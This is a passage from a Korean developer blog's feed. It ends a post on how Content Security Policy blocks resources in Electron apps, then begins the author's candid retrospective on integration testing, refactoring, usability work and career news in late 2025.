<td>이미지에 한해 base64 허용</td>
</tr>
</tbody></table>
<p>👉 <strong>보안은 유지하면서 문제만 해결됩니다</strong></p>
<hr>
<h1 id="8-electron에서-특히-자주-터지는-이유">8. Electron에서 특히 자주 터지는 이유</h1>
<p>Electron은 그냥 앱처럼 보이지만 내부는 이겁니다.</p>
<pre><code>Chromium 브라우저</code></pre><p>그래서 CSP가 그대로 적용됩니다.</p>
<hr>
<h2 id="자주-터지는-상황">자주 터지는 상황</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>문제</th>
</tr>
</thead>
<tbody><tr>
<td>base64 이미지</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>CDN 사용</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>WebSocket</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>inline script</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<hr>
<h1 id="9-개발하면서-가장-많이-하는-착각">9. 개발하면서 가장 많이 하는 착각</h1>
<table>
<thead>
<tr>
<th>착각</th>
<th>실제</th>
</tr>
</thead>
<tbody><tr>
<td>경로 문제 같다</td>
<td>❌ CSP 문제</td>
</tr>
<tr>
<td>파일 없나?</td>
<td>❌ 있음</td>
</tr>
<tr>
<td>Electron이라 괜찮겠지</td>
<td>❌ 동일하게 적용됨</td>
</tr>
</tbody></table>
<hr>
<h1 id="10-개발자-현실-한-줄-요약">10. 개발자 현실 한 줄 요약</h1>
<pre><code>&quot;경로 문제인 줄 알았는데 CSP였다&quot;</code></pre><hr>
<h1 id="⚠️-헷갈리지-마세요-csp-2가지">⚠️ 헷갈리지 마세요 (CSP 2가지)</h1>
<p>여기까지 읽으면서</p>
<p>혹시 이런 생각 드신 분 있을 수 있습니다.</p>
<blockquote>
<p>“CSP? AWS 같은 그 CSP 말하는 건가?”</p>
</blockquote>
<p>👉 아닙니다.</p>
<p><strong>지금 이 글에서 말하는 CSP는 클라우드가 아니라 ‘보안 정책’입니다.</strong></p>
<hr>
<h2 id="이-글에서의-csp">이 글에서의 CSP</h2>
<blockquote>
<p>🔐 <strong>Content Security Policy</strong></p>
</blockquote>
<pre><code>default-src &#39;self&#39;;
img-src &#39;self&#39; data:;</code></pre><p>👉 브라우저(Electron 포함)가</p>
<p><strong>어떤 리소스를 실행할 수 있는지 제한하는 보안 규칙</strong></p>
<hr>
<h2 id="그런데-또-하나의-csp가-있다">그런데 또 하나의 CSP가 있다</h2>
<p>개발하다 보면 또 다른 CSP를 보게 됩니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/df46b4ff-5774-4a4c-a1e3-34798ced924b/image.png" alt=""></p>
<blockquote>
<p> <strong>Cloud Service Provider</strong></p>
</blockquote>
<ul>
<li>AWS</li>
<li>Azure</li>
<li>GCP</li>
</ul>
<p>👉 서버, DB, 인프라 제공하는 클라우드 서비스</p>
<hr>
<h2 id="핵심-차이">핵심 차이</h2>
<table>
<thead>
<tr>
<th>구분</th>
<th>Content Security Policy</th>
<th>Cloud Service Provider</th>
</tr>
</thead>
<tbody><tr>
<td>의미</td>
<td>보안 정책</td>
<td>클라우드</td>
</tr>
<tr>
<td>위치</td>
<td>브라우저 / Electron</td>
<td>서버 / 인프라</td>
</tr>
<tr>
<td>키워드</td>
<td>img-src, script-src</td>
<td>AWS, Azure</td>
</tr>
</tbody></table>
<hr>
<h1 id="마무리">마무리</h1>
<p>CSP는 처음엔 굉장히 까다롭게 느껴집니다.</p>
<p>하지만 한 번 이해하면</p>
<p>👉 <strong>보안을 유지하면서 원하는 것만 허용할 수 있는 강력한 도구</strong>가 됩니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[뒤늦은 2025년 하반기 회고록,,,]]></title>
            <link>https://velog.io/@songyeonji_/%EB%92%A4%EB%8A%A6%EC%9D%80-2025%EB%85%84-%ED%95%98%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</link>
            <guid>https://velog.io/@songyeonji_/%EB%92%A4%EB%8A%A6%EC%9D%80-2025%EB%85%84-%ED%95%98%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</guid>
            <pubDate>Sun, 18 Jan 2026 13:09:21 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/97d345e5-8538-4d7b-9669-165773e5870d/image.png" alt="">
안녕하세요, 프론트엔드 개발자 송연지입니다.</p>
<p>…네, 하반기 회고도 또 늦었습니다. 하하 😇
상반기 쓸 때만 해도 “이번엔 제때 써야지!” 했는데
역시나 현실은 늘 예상보다 빠르고, 저는 늘 예상보다 바빴습니다.</p>
<p>2025년 하반기도 마찬가지로,,,
솔직히 말하면 너무 정신없어서
시간이 어떻게 지나갔는지도 잘 기억이 안 날 정도였어요.</p>
<blockquote>
<p>지난 상반기 회고록을 보실 분들은 여기루 ㅎㅎ
<a href="https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D">상반기 회고록 보기</a></p>
</blockquote>
<p>근데 신기하게도,
막상 돌아보려고 하니까
머릿속에 제일 먼저 떠오른 단어는 이거였습니다.</p>
<p>테스트. 사용자. 구조. 그리고 책임.</p>
<p>상반기가 ‘처음’을 많이 겪은 시기였다면,
하반기는 그 처음들의 결과를
끝까지 책임지면서 진짜로 부딪힌 시간이었어요.</p>
<p>코드는 잘 짰다고 생각했는데 무너졌고,
설계는 괜찮다고 믿었는데 사용자 앞에서 깨졌고,
문서는 미뤄둔 만큼 되돌아와서 저를 괴롭혔습니다.</p>
<p>그리고 저는 그 모든 걸
배포하고, 고치고, 다시 확인하고, 또 배포하는 반복 속에서
조금 더 단단해졌던 것 같아요.</p>
<p>웃으면서 시작했지만
내용은 전혀 웃을 수 없었던(?)
2025년 하반기 이야기를 이제 하나씩 꺼내보려고 합니다.</p>
<p>그럼, 본격적으로 시작해볼게요.</p>
<h2 id="🧨-7월--통합-테스트를-시작한-순간-평화도-같이-종료되었다">🧨 7월 — 통합 테스트를 시작한 순간, 평화도 같이 종료되었다</h2>
<p>7월은 제가 <strong>단위 테스트를 했다는 사실에 괜히 뿌듯해하던 나 자신을
가장 세게 반성한 달</strong>이었습니다.</p>
<p>5월에 단위 테스트를 도입했을 때는 솔직히 이런 마음이었어요.</p>
<blockquote>
<p>“이 정도면 꽤 단단하지 않나?”</p>
<p>“적어도 큰 건 다 잡았겠지?”</p>
</blockquote>
<p>지금 와서 말하자면,</p>
<p><strong>그건 정말 순진한 착각이었습니다.</strong></p>
<h3 id="단위-테스트와-통합-테스트는-전혀-다른-이야기였다">단위 테스트와 통합 테스트는 전혀 다른 이야기였다</h3>
<p>7월에 본격적으로 <strong>통합 테스트 시나리오를 작성하고, 실제로 테스트를 돌리기 시작</strong>했어요.</p>
<p>그리고 거의 바로 깨달았습니다.</p>
<blockquote>
<p>“아… 이건 단위 테스트랑 차원이 다르네.”</p>
</blockquote>
<p>단위 테스트는</p>
<ul>
<li>함수가 잘 도는지</li>
<li>API 응답을 잘 처리하는지</li>
<li>특정 조건에서 에러가 나는지</li>
</ul>
<p>를 보는 <strong>개발자 중심의 테스트</strong>였다면,</p>
<p>통합 테스트는</p>
<ul>
<li>사용자가 처음 이 화면을 봤을 때 뭘 할지</li>
<li>어떤 버튼을 누를지</li>
<li>실수했을 때 어디서 막히는지</li>
</ul>
<p>를 전부 보는 <strong>사람 중심의 테스트</strong>였어요.</p>
<p>그리고 이 ‘사람’은 <strong>개발자가 아니었습니다.</strong></p>
<h3 id="개발자가-쓴-통합-테스트-시나리오의-문제">개발자가 쓴 통합 테스트 시나리오의 문제</h3>
<p>처음엔 당연하게도 통합 테스트 시나리오를 <strong>개발자들이 직접 작성</strong>했어요.</p>
<p>결과요?</p>
<ul>
<li>내부 상태를 이미 알고 있다는 전제</li>
<li>“정상 케이스 기준”의 흐름</li>
<li>전문 용어가 자연스럽게 섞인 문장들</li>
</ul>
<p>딱 보자마자 이런 생각이 들었습니다.</p>
<blockquote>
<p>“이거… 개발 안 한 사람은 못 하겠는데?”</p>
</blockquote>
<p>통합 테스트는 <strong>개발을 전혀 모르는 사람도
문서만 보고 그대로 따라 하면 테스트가 가능해야</strong> 했어요.
<img src="https://velog.velcdn.com/images/songyeonji_/post/91faba4d-6b3f-4251-b18d-5e732941a6e5/image.png" alt=""></p>
<ul>
<li>여기서 뭘 클릭해야 하는지</li>
<li>이 화면이 뜨는 게 정상인지</li>
<li>잘못했을 땐 어떤 메시지가 보여야 하는지</li>
</ul>
<p>모든 걸 <strong>‘사용자 언어’로 다시 써야 했습니다.</strong></p>
<p>이 과정에서 처음 느꼈어요.</p>
<blockquote>
<p>“사용자 입장에서 쓴다는 게</p>
<p>이렇게까지 어려운 일이었구나.”</p>
</blockquote>
<h3 id="그리고-버그가-미친-듯이-튀어나오기-시작했다">그리고… 버그가 미친 듯이 튀어나오기 시작했다</h3>
<p>통합 테스트를 본격적으로 돌리자, 그동안 잠잠하던 시스템이</p>
<p><strong>마치 기다렸다는 듯이 무너지기 시작</strong>했습니다.</p>
<ul>
<li>단위 테스트에선 한 번도 안 났던 버그</li>
<li>특정 순서에서만 터지는 문제</li>
<li>상태가 살짝만 어긋나도 바로 깨지는 흐름</li>
</ul>
<p>그제야 깨달았어요.</p>
<blockquote>
<p>“단위 테스트 때 수월했던 게 아니라,</p>
<p>그냥 그때는 안 보였던 거였구나.”</p>
</blockquote>
<p>7월의 제 하루는 거의 이랬습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/51b92e86-07ab-425c-bf4a-f568a453e0e2/image.png" alt=""></p>
<blockquote>
<p>배포한다</p>
<p>테스트한다</p>
<p>어, 또 터진다</p>
<p>고친다</p>
<p>다시 배포한다</p>
<p>다시 테스트한다</p>
</blockquote>
<p>그리고 이 루틴을</p>
<p><strong>하루에도 몇 번씩 반복</strong>했습니다.</p>
<p>퇴근하고 나면 아무것도 하고 싶지 않았고,</p>
<p>“오늘은 뭘 배웠지?”보다는</p>
<blockquote>
</blockquote>
<p>“오늘은 그래도 큰 사고는 없었다.”</p>
<p>이 문장으로 하루를 정리하던 날들이었어요.</p>
<h3 id="배포테스트배포테스트-그리고-지연의-시작">배포–테스트–배포–테스트, 그리고 지연의 시작</h3>
<p>이 반복이 계속되다 보니 자연스럽게 일정이 밀리기 시작했습니다.</p>
<p>처음엔 “오늘만 좀 더 보자”였고,</p>
<p>그 다음엔 “이번 주까지만 마무리하자”였고,</p>
<p>어느새 <strong>지연이 지연을 낳는 구조</strong>가 되어버렸어요.</p>
<p>이때 처음으로 통합 테스트의 진짜 무서움을 느꼈습니다.</p>
<blockquote>
<p>통합 테스트는
문제를 ‘만들어내는’ 테스트가 아니라
문제를 ‘숨길 수 없게 만드는’ 테스트구나.</p>
</blockquote>
<p>그리고 이 여파는 7월로 끝나지 않았습니다.</p>
<p>이 통합 테스트의 후폭풍은 <strong>8월까지 고스란히 이어지게 됩니다.</strong></p>
<h2 id="🧩-8월--통합-테스트의-후폭풍-그리고-이건-코드-문제가-아니었다">🧩 8월 — 통합 테스트의 후폭풍, 그리고 “이건 코드 문제가 아니었다”</h2>
<p>7월이 통합 테스트의 시작이었다면,</p>
<p>8월은그 테스트가 남긴 <strong>후폭풍을 전부 떠안은 달</strong>이었습니다.</p>
<p>7월 말쯤에는 이런 희망 섞인 생각을 했어요.</p>
<blockquote>
<p>“그래도 큰 건 다 나왔겠지…?”</p>
<p>“이제 좀 안정되겠지…?”</p>
</blockquote>
<p>네.</p>
<p>역시나 틀렸습니다.</p>
<h3 id="통합-테스트는-끝났지만-문제는-이제-시작이었다">통합 테스트는 끝났지만, 문제는 이제 시작이었다</h3>
<p>8월이 되자 통합 테스트에서 발견된 문제들이</p>
<p>하나씩 정리되는 게 아니라,</p>
<p><strong>서로 엮이기 시작했습니다.</strong></p>
<ul>
<li>이 버그를 고치면 저쪽이 깨지고</li>
<li>이 흐름을 맞추면 다른 시나리오가 어긋나고</li>
<li>한 화면을 고치면 전체 동작이 미묘하게 변하고</li>
</ul>
<p>이쯤 되니 머릿속에 계속 맴돌던 생각이 하나 있었어요.</p>
<blockquote>
<p>“이거… 뭔가 이상한데?”</p>
</blockquote>
<h3 id="코드가-아니라-구조가-문제라는-걸-깨닫다">코드가 아니라, 구조가 문제라는 걸 깨닫다</h3>
<p>처음엔 당연히</p>
<p> “로직을 더 꼼꼼히 보자” , “예외 처리를 추가하자”</p>
<p>이렇게 접근했습니다.</p>
<p>근데 아무리 봐도 문제는 <strong>코드 몇 줄</strong>이 아니었어요.</p>
<p>그때 처음으로 명확하게 느꼈습니다.</p>
<blockquote>
<p>“이건 구조 문제다.”</p>
</blockquote>
<ul>
<li>흐름이 한눈에 안 보이고</li>
<li>상태가 여기저기 흩어져 있고</li>
<li>책임이 애매하게 나뉘어 있고</li>
<li>테스트 기준도 흔들리고 있고</li>
</ul>
<p>결국</p>
<p>“왜 이런 문제가 반복되지?”라는 질문의 답은</p>
<blockquote>
<p>“전체 구조를 제대로 그린 적이 없어서”</p>
<p>였습니다.</p>
</blockquote>
<h3 id="결국-시퀀스-다이어그램을-꺼내-들었다">결국 시퀀스 다이어그램을 꺼내 들었다</h3>
<p>사실 시퀀스 다이어그램은 <strong>원래 문서 설계 단계에서 했어야 하는 작업</strong>이었어요.</p>
<p>하지만 우리는 늘 그렇듯,</p>
<ul>
<li>“일단 개발부터”</li>
<li>“시간 없으니까 나중에”</li>
<li>“지금은 돌아가잖아”</li>
</ul>
<p>이런 이유로 미뤄두고 있었죠.</p>
<p>그리고 8월이 되어서야 그 ‘나중에’가 찾아왔습니다.</p>
<p>시퀀스를 그리기 시작하자 비로소 보이기 시작했어요.</p>
<ul>
<li>이 요청이 왜 여기로 가는지</li>
<li>이 상태가 왜 여기서 바뀌는지</li>
<li>이 타이밍에 이 로직이 왜 호출되는지</li>
</ul>
<p>그리고 동시에 이런 생각도 들었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/87fe74b8-4fbd-4e99-af05-35ab182b075a/image.png" alt=""></p>
<blockquote>
<p>“아… 이걸 처음에 했으면</p>
<p>덜 고생했겠구나.”</p>
</blockquote>
<h3 id="구조-변경이라는-지옥문이-열리다">구조 변경이라는 지옥문이 열리다</h3>
<p>시퀀스를 정리하고 나니</p>
<p>선택지는 딱 두 개였습니다.</p>
<ol>
<li><p>지금 구조를 유지한 채 계속 땜질하면서 버틴다</p>
</li>
<li><p>지금 아프더라도 구조를 다시 잡는다</p>
</li>
</ol>
<p>결국 선택한 건 <strong>두 번째</strong>였습니다.</p>
<p>그리고 솔직히 말해서요.</p>
<p><strong>구조 변경은 정말 미친 경험이었습니다.</strong></p>
<ul>
<li>어디까지 고쳐야 하는지 감이 안 오고</li>
<li>하나 고치면 다 고친 것 같고</li>
<li>근데 또 하나 안 고치면 전체가 흔들리고</li>
</ul>
<p>이때는 진짜로</p>
<blockquote>
<p>“다시는 구조 변경 안 하고 싶다…”</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/d169f9be-c562-45c4-8ec1-3a39ff1052eb/image.png" alt="">
라는 말이 입 밖으로 몇 번이나 나왔어요.</p>
<hr>
<h3 id="문서를-미룬-대가를-몸으로-치르다">문서를 미룬 대가를 몸으로 치르다</h3>
<p>8월의 가장 큰 교훈은 기술적인 것보다 이거였습니다.</p>
<blockquote>
<p>“문서는 귀찮아서 미루는 게 아니라,
나중에 나를 살리기 위해 쓰는 거다.”</p>
</blockquote>
<p>문서를 제대로 정리하지 않은 상태에서의 개발은</p>
<ul>
<li>기억에 의존하고</li>
<li>감에 의존하고</li>
<li>“아마 이랬던 것 같아”로 움직이는 개발</li>
</ul>
<p>이게 얼마나 위험한지 8월에 제대로 배웠습니다.</p>
<p>이때부터는 코드를 고치기 전에</p>
<ul>
<li>흐름을 적고</li>
<li>조건을 정리하고</li>
<li>상태 변화를 글로 써보고</li>
</ul>
<p>그 다음에야</p>
<p>코드를 손대기 시작했어요.</p>
<h3 id="8월의-체감-난이도는-멘탈">8월의 체감 난이도는 ‘멘탈’</h3>
<p>7월이 체력 싸움이었다면, 8월은 <strong>멘탈 싸움</strong>이었습니다.</p>
<blockquote>
<p>“이게 맞나?”
“지금 방향이 맞는 걸까?”
“괜히 더 망치고 있는 건 아닐까?”</p>
</blockquote>
<p>이런 생각이 하루에도 몇 번씩 들었어요.</p>
<p>근데 아이러니하게도 그 와중에 느낀 게 하나 있었습니다.</p>
<blockquote>
<p>“아… 나 지금</p>
<p>진짜 실무 개발하고 있구나.”</p>
</blockquote>
<p>편한 선택이 아니라 <strong>맞는 선택을 하려고 고민하는 시간</strong>이었으니까요.</p>
<p>8월을 지나고 나서</p>
<p>제 개발 태도는 확실히 바뀌었습니다.</p>
<ul>
<li><p>“일단 고치자”보다 ** “왜 이렇게 됐지?”** 를 먼저 묻게 됐고</p>
</li>
<li><p>코드보다 <strong>흐름을</strong> 먼저 보게 됐고</p>
</li>
<li><p>문서를 귀찮은 게 아니라 <strong>필수 장비</strong>로 보게 됐어요.</p>
</li>
</ul>
<p>그리고 무엇보다,</p>
<blockquote>
<p>“통합 테스트는 끝이 아니라,
진짜 개발의 시작이다.”</p>
</blockquote>
<p>라는 걸 이 달에 확실히 배웠습니다.</p>
<h2 id="🧯-9월--사용자성이라는-벽-그리고-우리는-아무것도-몰랐다">🧯 9월 — 사용자성이라는 벽, 그리고 “우리는 아무것도 몰랐다”</h2>
<p>9월은 제가 개발자로 일하면서</p>
<p><strong>가장 큰 충격을 받은 달</strong>이었습니다.</p>
<p>7–8월이 테스트와 구조의 지옥이었다면,</p>
<p>9월은 그 모든 걸 통과한 뒤에 만난</p>
<p><strong>현실 사용자라는 보스 스테이지</strong>였어요.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/7b5f712d-e028-4250-b8ea-5e3b791f5e65/image.png" alt=""></p>
<h3 id="시험성적서와-납품-그리고-동시에-시작된-사용자성-개발">시험성적서와 납품, 그리고 동시에 시작된 사용자성 개발</h3>
<p>9월에 들어서자</p>
<p>일정표에 새로운 단어가 추가됐습니다.</p>
<p><strong>시험성적서.
그리고 납품.</strong></p>
<p>이 두 단어가 등장한 순간, 개발의 기준이 완전히 바뀌었어요.</p>
<p>이전까진 “기능이 된다”가 기준이었다면,</p>
<p>이제는</p>
<ul>
<li>이걸 처음 보는 사람이 이해할 수 있는가</li>
<li>실수했을 때 당황하지 않는가</li>
<li>다시 시도할 수 있는가</li>
</ul>
<p>이 질문들이 모든 기능 위에 올라탔습니다.</p>
<h3 id="개발자들끼리는-다-알잖아요">“개발자들끼리는 다 알잖아요?”</h3>
<p>솔직히 말하면 저희는 이런 착각을 하고 있었어요.</p>
<blockquote>
<p>“이 정도면 설명 안 해도 알겠지.”</p>
<p>“이건 개발자면 바로 이해하지 않나?”</p>
</blockquote>
<p>근데 사용자 테스트를 돌리는 순간 그 착각은 바로 깨졌습니다.</p>
<p>사용자들은</p>
<ul>
<li>어디서 시작해야 하는지 모르고</li>
<li>다음 단계가 뭔지 모르고</li>
<li>잘못 눌렀는지조차 몰랐어요</li>
</ul>
<p>그걸 보면서 진짜로 멍해졌습니다.</p>
<blockquote>
<p>“어… 이게 그렇게 어려워?”</p>
</blockquote>
<h3 id="사용자성은-조금-다듬는-문제가-아니었다">사용자성은 ‘조금 다듬는 문제’가 아니었다</h3>
<p>처음엔 라벨을 바꾸고, 툴팁을 달고,</p>
<p>설명을 한 줄 추가하면 될 줄 알았어요.</p>
<p>근데 아니었습니다.</p>
<p><strong>문제는 훨씬 깊었습니다.</strong></p>
<ul>
<li>시작 지점이 모호했고</li>
<li>중간 단계가 많았고</li>
<li>실패했을 때의 길이 없었어요</li>
</ul>
<p>그래서 결국 <strong>프로세스를 다시 만들기 시작</strong>했습니다.</p>
<p>한 번 만들고</p>
<p>돌려보고</p>
<p>다시 부수고</p>
<p>또 만들고…</p>
<p>이걸 거의</p>
<p><strong>10번 가까이 반복</strong>했습니다ㅜㅜㅜㅜ</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8eda346a-5a39-4b2b-9dcc-01ecf63c5018/image.png" alt=""></p>
<hr>
<h3 id="개발자에게-당연한-흐름은-사용자에게-공포였다">개발자에게 당연한 흐름은, 사용자에게 공포였다</h3>
<p>9월에 가장 충격이었던 건 이거였어요.</p>
<p>개발자 기준으로는 “자연스러운 흐름”이,</p>
<p>사용자 기준에서는 <strong>“이거 잘못하면 큰일 나는 거 아냐?”</strong> 로 느껴진다는 사실. </p>
<p>보안 제품이라는 특성까지 겹치니</p>
<p>사용자 입장에서는</p>
<ul>
<li>한 번의 실수가</li>
<li>시스템 전체에 영향을 줄 것처럼 느껴졌고</li>
<li>그래서 더 아무것도 못 하게 되더라구요</li>
</ul>
<p>그때 처음으로 이해했습니다.</p>
<blockquote>
<p>사용자성은 편의성이 아니라,
심리적 안전감이다.</p>
</blockquote>
<h3 id="구현보다-어려웠던-것-안심시키는-설계">구현보다 어려웠던 것: ‘안심시키는 설계’</h3>
<p>이 시점에서</p>
<p>개발보다 더 어려웠던 건</p>
<ul>
<li>어디까지 막아야 할지</li>
<li>어디까지 자유를 줄지</li>
<li>어디서 “괜찮아요”라고 말해줘야 할지</li>
</ul>
<p>이 판단들이었습니다.</p>
<p>그래서 9월엔</p>
<ul>
<li>한 단계씩 진행 상황을 보여주고</li>
<li>되돌릴 수 있다는 걸 명확히 하고</li>
<li>잘못된 선택은 미리 막고</li>
</ul>
<p><strong>사용자가 불안해하지 않게 만드는 것</strong>에</p>
<p>집중하게 됐어요.</p>
<h3 id="야근과-주말-출근-그리고-웃픈-현실">야근과 주말 출근, 그리고 웃픈 현실</h3>
<p>이 과정은 시간이 정말 많이 들었습니다.</p>
<p>9월에서 끝날 줄 알았던 작업은 10월까지 이어졌고,</p>
<p>야근은 자연스러워졌고 주말 출근도 생겼어요.</p>
<p>월급날 야근수당과 주말수당이 찍힌 금액을 보고</p>
<p>잠깐이나마 아 이게 내 진짜 월급이면 좋겠다....</p>
<p>라는 생각이 들었다는 겁니다.ㅎㅎ,,,,야근수당 최고,,,</p>
<h4 id="-웃픈-토스-보이스피싱">(+ 웃픈 토스 보이스피싱,,,)</h4>
<p>이렇게 사용자성 때문에 정신이 혼미해지던 와중에</p>
<p>갑자기 토스에서 문자가 하나 왔습니다.</p>
<p>순간 심장이 철렁해서
<img src="https://velog.velcdn.com/images/songyeonji_/post/c615dd34-42ac-4b63-bb1b-a269f79331b7/image.png" alt=""></p>
<p><strong>“혹시 상반기에 지원했던게,,,?”</strong> 했다가 확인해보니</p>
<p>그냥 보이스피싱이었습니다.</p>
<p>토스가 나한테 직접 연락할 리가 없잖아요…</p>
<p>잠깐 설렜던 나 자신 매우 반성합니다.</p>
<p>그리고 다시 현실로 복귀했습니다.</p>
<h3 id="🏸-현실-도피가-아니라-현실-불편-해결용-사이드">🏸 현실 도피가 아니라, 현실 불편 해결용 사이드</h3>
<p>9월에 회사 프로젝트 때문에 머리가 계속 터지고 있던 와중에</p>
<p>웃기게도(?) 하나의 사이드 프로젝트를 만들게 됐습니다.</p>
<p>남자친구가 배드민턴 점수랑 득실차를</p>
<p>매번 수기로 계산하면서 너무 힘들어하길래</p>
<p>“아 그냥 내가 만들어줄게…” 하고</p>
<p>급하게 점수 계산 사이트를 하나 만들었어요.(사실 클로드 코드 썼어요,,,잘하더라고요,,)</p>
<p>솔직히 UI는 엉망이었고 사용자성도 좋다고 말하기는 어려웠지만,</p>
<p>적어도 이제 계산이 틀릴 일은 없다는 것 하나로</p>
<p>그 사이트는 존재 이유가 충분했습니다.</p>
<blockquote>
<p>프로젝트 구경은,,,,,여기 클릭 
<a href="https://playing-badminton.vercel.app/">나만보는 배드민턴 점수집계</a>
+혹시 사용자성이나 의견 좀 주세여,,,,,ㅠ 인덱스 db만 썼습니다...</p>
</blockquote>
<p>회사에선 사용자성을 고민하느라 미치고 있었는데</p>
<p>사이드에서도 결국 똑같이 “사람이 덜 힘들게 하는 게 개발이구나”를</p>
<p>또 한 번 느끼게 된 순간이었어요.</p>
<p>9월을 지나고 나서 저는 확실히 알게 됐어요.</p>
<ul>
<li>사용자는 우리가 생각한 대로 행동하지 않는다</li>
<li>설명 없는 자유는 오히려 독이다</li>
<li>제품은 기능이 아니라, <strong>신뢰</strong>로 평가된다</li>
</ul>
<p>라는 걸요</p>
<h2 id="10월--시험성적서-구조-개편-그리고-그래도-내가-잘-가고-있구나">10월 — 시험성적서, 구조 개편, 그리고 “그래도 내가 잘 가고 있구나”</h2>
<p>10월은 제가 개발자로서</p>
<p><strong>도망치던 것들과, 동시에 처음으로 보상받은 것들이
한꺼번에 밀려온 달</strong>이었습니다.</p>
<p>9월이 사용자성으로 멘탈을 흔들었다면,</p>
<p>10월은 기술적으로도, 감정적으로도</p>
<p><strong>꽤 복합적인 달</strong>이었어요.</p>
<hr>
<h3 id="시험성적서가-등장한-순간-개발의-기준이-바뀌었다">시험성적서가 등장한 순간, 개발의 기준이 바뀌었다</h3>
<p>10월에 들어서자 일정표에 본격적으로 등장한 단어가 하나 있었습니다.</p>
<p><strong>시험성적서.</strong></p>
<p>이 네 글자가 등장하자마자</p>
<p>그동안 “괜찮겠지”로 넘어가던 모든 것들이</p>
<p>전부 질문으로 바뀌었어요.</p>
<ul>
<li>이 기능은 정말 안정적인가?</li>
<li>에러가 나면 얼마나 빨리 캐치할 수 있는가?</li>
<li>성능 저하는 없는가?</li>
<li>이 동작을 문서로 설명할 수 있는가?</li>
</ul>
<p>이제는 “개발자의 감”이 아니라</p>
<p><strong>완성도와 근거</strong>로 증명해야 하는 단계였습니다.</p>
<h3 id="완성도를-요구받는-순간-구조의-민낯이-드러났다">완성도를 요구받는 순간, 구조의 민낯이 드러났다</h3>
<p>시험성적서를 기준으로 하나하나 점검하다 보니 확실히 보였습니다.</p>
<p><strong>폴더 구조가 너무 비효율적이었다는 것.</strong></p>
<p>그동안은</p>
<ul>
<li>“여기서도 쓰고”</li>
<li>“저기서도 쓰고”</li>
<li>“이 파일이 이 역할도 하고, 저 역할도 하는”</li>
</ul>
<p>상태였는데,</p>
<p>시험성적서 기준으로 보니까</p>
<ul>
<li>수정 범위가 너무 넓고</li>
<li>에러 추적이 어렵고</li>
<li>테스트 기준도 모호해지고</li>
</ul>
<p>결국 결론은 하나였습니다.</p>
<blockquote>
<p>“역할 기반 구조로는 한계다.”</p>
</blockquote>
<p>그래서 10월에</p>
<p><strong>역할 기반 → 기능 기반 폴더 구조로
프론트엔드 구조를 아예 갈아엎었습니다.</strong></p>
<p>이미 일정이 촉박한 상황에서</p>
<p>이 결정을 내린 건</p>
<p>솔직히 말해서 <strong>도박</strong>에 가까웠어요.</p>
<p>근데 동시에 이런 생각도 들었습니다.</p>
<blockquote>
<p>“지금 안 바꾸면</p>
<p>이건 평생 고통이다.”</p>
</blockquote>
<p>그래서 시간내서 빠르게 바뀌버렸습니다..</p>
<h3 id="그리고-회의-중-나를-찌른-한-순간">그리고 회의 중, 나를 찌른 한 순간</h3>
<p>10월 즈음, 에러 원인을 찾기 위한 회의 중에</p>
<p>이야기가 자연스럽게</p>
<ul>
<li>프로세스</li>
<li>스레드</li>
<li>내부 동작 구조</li>
</ul>
<p>이쪽으로 흘러갔습니다. </p>
<p>그런데 그때 제가 이 흐름을</p>
<p><strong>명확하게 설명하지 못하겠더라구요.</strong></p>
<p>순간 머릿속이 하얘졌어요.</p>
<blockquote>
<p>“나는 프론트엔드 개발자인데…”</p>
<p>“이건 나중에 공부해도 되지 않나?”</p>
</blockquote>
<p>그동안 프론트엔드라는 이유로</p>
<p>OS, 프로세스, 스레드 같은 영역을</p>
<p>은근슬쩍 피해왔던 게</p>
<p>그 순간 그대로 드러났습니다.</p>
<p>부끄러웠어요. 진짜로.</p>
<h3 id="프론트엔드라서라는-변명을-버리기로-했다">“프론트엔드라서”라는 변명을 버리기로 했다</h3>
<p>회의가 끝나고 혼자 앉아서 이런 생각이 들었습니다.</p>
<blockquote>
<p>“이건 프론트 범위를 벗어난 문제가 아니라,</p>
<p>지금 내가 다루는 시스템의 일부잖아.”</p>
</blockquote>
<p>그래서 그때부터 마음속에서 이 말을 지웠어요.</p>
<p><strong>“나는 프론트엔드 개발자니까.”</strong></p>
<p>대신 이렇게 바꿨습니다.</p>
<blockquote>
<p>“나는 이 시스템을 만드는 개발자니까.”</p>
</blockquote>
<p>완벽하진 않지만, </p>
<p>프로세스와 스레드, OS 기본 구조를 다시 공부하기 시작했고,</p>
<p>적어도</p>
<p>“왜 이런 문제가 터질 수 있는지”는</p>
<p>설명할 수 있어야겠다고 다짐했습니다.</p>
<h3 id="그런데-이-모든-와중에-찾아온-작은-보상">그런데, 이 모든 와중에 찾아온 작은 보상</h3>
<p>정신없이 구조를 바꾸고,</p>
<p>시험성적서를 준비하던 10월에</p>
<p>뜻밖의 연락 하나를 받았습니다.</p>
<p><strong>코드잇 스프린트 커리어 프로그램 우수수료자 선정.</strong>
<img src="https://velog.velcdn.com/images/songyeonji_/post/7a067515-bd4b-4117-9e4f-a50ffa7bb9de/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/fe8cbfaa-7191-410a-8ddd-8739c50266ea/image.png" alt=""></p>
<p>이력서 공개와 함께</p>
<p>짧은 인터뷰를 진행하게 됐고,</p>
<p>우수수료자로 뽑혔다는 이야기를 들었을 때</p>
<p>솔직히 기분이 정말 좋았습니다.</p>
<p>네이버 포인트 <strong>5만 원</strong>도 받았고요. (이건 중요합니다 😄)</p>
<p>하지만 그보다 더 좋았던 건,</p>
<blockquote>
<p>현직 대기업 개발자분이
제 포트폴리오와 이력서를 보고
